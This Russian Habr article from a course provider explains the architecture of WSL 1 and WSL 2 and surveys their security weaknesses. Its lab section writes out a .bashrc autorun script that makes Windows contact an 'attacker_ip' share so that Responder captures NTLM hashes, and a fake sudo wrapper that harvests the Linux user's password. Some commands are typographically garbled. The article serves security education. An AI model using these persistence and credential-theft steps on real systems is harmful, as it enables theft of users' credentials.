Привет, хабр! В октябре OTUS запускает новый поток курса . В преддверии старта курса делимся с вами статьёй, которую написал один из наших преподавателей — Александр Колесников.
В 2016 году компания Microsoft представила IT сообществу новую технологию WSL (Windows Subsystem for Linux), в перспективе позволявшую объединить до этого непримиримых конкурентов, которые сражались за популярность как среди рядовых, так и продвинутых пользователей ОС: Windows и Linux. Данная технология предоставляла возможность использовать инструменты ОС Linux в окружении Windows без необходимости запуска Linux, к примеру, с помощью мультизагрузки (Multi-boot). На Habr вы можете обнаружить большое количество статей, описывающих преимущества использования WSL. Однако, к сожалению, на момент создания статьи на данном ресурсе не было обнаружено исследований безопасности такого симбиоза операционных систем. Настоящий пост станет попыткой это исправить. В статье будет рассказано об особенностях архитектур WSL 1 и 2, разобрано несколько примеров атак на системы, использующие данные технологии. Статья разбита на 2 части. В первой будут предоставлены основные теоретические методы атак со стороны Linux и Windows. Вторая статья будет включать в себя настройку тестовой среды и воспроизведение атак.
WSL 1: особенности архитектуры
Для наиболее точного погружения в проблемы безопасности WSL необходимо определить основные нюансы, связанные с имплементацией подсистемы. Одной из главных пользовательских задач, решаемых WSL, является предоставление возможности работы через терминал Linux систем на хосте с ОС Windows. Также предложенная совместимость была настолько нативной, что исполняемые файлы Linux (ELF) могли быть запущены прямо в системе Windows. Для достижения этих целей в Windows 10 была создана специальная подсистема, позволяющая запускать приложения Linux с помощью набора определённых системных вызовов — таким образом, была предпринята попытка маппинга набора syscall-ов Linux на Windows. Физически это было реализовано путем добавления новых драйверов и нового формата процесса. Визуально архитектура выглядела вот так:
По сути, взаимодействие с операционной системой Linux было организовано посредством нескольких ядерных модулей и специального вида процессов — pico. Из схемы выше видно, что процесс, запущенный в инстанс Linux на хосте, должен быть нативным и должен использовать те же ресурсы, что и обычные приложения Windows. Но как этого достичь? В проекте были разработаны концепты процессов для Windows, которые предоставляли все необходимые компоненты операционной системы (в зависимости от ее версии) для запуска приложения другой ОС.
Заметим, что предложенная абстракция позволяла не ориентироваться на операционную систему (в частности — Windows), в которой ожидается запуск процесса другой ОС, и предлагала общий подход.
Таким образом, любое приложение внутри pico процесса могло работать без оглядки на ядро Windows:
- Проблемы совместимости и трансляции системных вызовов должны решать специальные провайдеры;
- Разграничение доступа должно производиться через Монитор безопасности. Монитор располагается в ядре и поэтому Windows был необходим апгрейд в виде нового драйвера, который мог бы выступать в качестве провайдера для таких процессов. Прототип pico процесса схематично представлен ниже:
Поскольку файловая система Linux использует регистрозависимые названия файлов и директорий, в Windows были добавлены 2 типа файловых систем для работы с WSL — VolFS и DriveFS. VolFS — имплементация файловой системы Linux, DriveFS — файловая система, которая работает по правилам Windows, но имеет возможность выбора чувствительности к регистру имен.
WSL 2
WSL 1 имела ряд ограничений, не позволявших использовать ее для решения максимального спектра задач: к примеру, в ней отсутствовала возможность запуска 32-битных Linux приложений, нельзя было использовать device драйвера. Поэтому в 2020 году была выпущена WSL 2, которая сменила подход к построению подсистемы. WSL 2 — это оптимизированная виртуальная машина, которая соответствует характеристикам WSL 1 по потреблению ресурсов. Теперь, в зависимости от проблем, решаемых пользователем ОС Windows, можно выбирать необходимую версию подсистемы работы с Linux. Для митигации возможных уязвимостей WSL 2 была реализована на базе Hyper-V в Windows 10. В этом виде Windows имеет возможность изолированно запускать ядро операционной системы Linux. Стоит помнить, что версия 1 WSL была представлена как бета фича, которая должна была показать вектор развития Windows в этой области, поэтому переход на Hyper-V был неизбежен. Итоговая архитектура выглядит так:
В этой версии у ядер систем Windows и Linux есть свои собственные ресурсы и пересечение существует только в файловой системе, однако это пересечение нельзя назвать полным. Взаимодействие между файловыми системами проводится за счет клиент-серверной обертки, которая работает по протоколу 9P.
На сегодняшний день Microsoft предоставляет возможность переключения между WSL 1 и WSL 2. Обе версии доступны для использования.
Безопасность WSL
На данный момент существуют несколько работ, описывающих некоторые подходы к использованию легитимных инструментов ОС для атаки на взаимодействие между подсистемами. Мы будем использовать их сценарии для проверки актуальности атак на момент написания статьи. Общий перечень атак и сценарии проведения:
1. Имплементация файловой системы: права доступа, наличие общих директорий/механизмов обмена данными.
Исследования проводились на предмет нарушения правил доступа из Linux FS->Windows FS, Windows FS->Linux FS. Исследования демонстрировали возможность модификации заданного файла внутри целевой ОС. Так же были проведены попытки подмены, создания двойников и удаления части файловых систем.
Сценарий:
- A. Атака из операционной системы Windows — модификация файлов из директории /etc ОС Linux.
- B. Атака из операционной системы Linux — модификация файлов в директориях:
C:Windows,C:Program Files,C:Users<User>
2. Имплементация сетевого стека.
Исследования проводились на примерах атак со стороны операционной системы Linux на Windows. Использовались особенности работы сетевого стека, а именно — механизмы аутентификации на различных ресурсах.
Сценарий:
- Открытие доступа к порту, который занят в системе Windows
- Открытие порта при отсутствии соответствующих прав
- Запуск reverse shell с использованием elf файла в операционной системе Windows.
3. Сокрытие запуска процессов вредоносного программного обеспечения за счет подсистемы WSL.
Исследования базировались на простом факте — подсистемы защиты не могут проводить перехват событий в другом ядре, которое работает с использованием легитимного провайдера со стороны операционной системы в случае с WSL 1. В случае с WSL 2 нет возможности просмотреть события, которые происходят в отдельном ядре в рамках легкой виртуальной машины.
Сценарий:
1) Запуск приложения для удаленного доступа в систему и просмотр регистрируемых событий.
WSL 1 эксперименты: перехват хэша (ОС Windows)
Наконец-то мы добрались до практической части. Для начала необходимо настроить окружение для тестов. Все эксперименты будут проводиться на стенде с установленным Windows 10 2004. В качестве образа операционной системы для WSL был выбран образ Ubuntu 18.04. Образ был выбран случайно, и любой другой будет работать так же. Команды для настройки стенда:
Предварительно нужно запустить powershell.exe от имени администратора.
Для WSL 1 необходимо выполнить команды:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
После перезагрузки стенда можно вызвать команду bash. Если все верно сработало, то вы увидите примерно такой вывод в консоли Windows:
В качестве машины атакующего будем использовать дистрибутив Kali Linux, все машины должны находиться в одной локальной сети.
Предположим, что у нас есть непривелигированный доступ к WSL на машине Windows. Попробуем провести атаку на операционную систему Linux, вызвав команду из Linux. Для реализации атаки воспользуемся простой техникой автозапуска — добавим наш скрипт для выполнения в среде Linux. Для этого нужно изменить файл .bashrc.
На машине c WSL выполняем:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitНа машине Kali Linux выполняем:
1. Responder -I eth0 -rdvwНа машине Windows запустим bash.
Ждем результат на машине Kali Linux:
Таким образом, мы получили хэши пользователя Windows через подсистему WSL, выполнив команду на системе Linux.
WSL 1 эксперименты: получение пароля пользователя (ОС Linux)
Проведем еще один эксперимент. В ходе этой проверки мы дополним файл .bashrc несколькими командами для того, чтобы получить пароль пользователя операционной системы Linux.
Запустим bash и введем команды:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
Для успешного завершения атаки необходимо, чтобы пользователь Sam вызвал sudo в терминале Linux. После этого пароль пользователя ОС Linux окажется в файле pass.txt:
Реализация атак была приведена только для теоретического ознакомления.
В следующей части статьи будет описана реализация протокола 9P, рассмотрено создание сканера для этого протокола, а также проведена атака с его помощью.
Список использованной литературы
Читать ещё
Источник: habr.com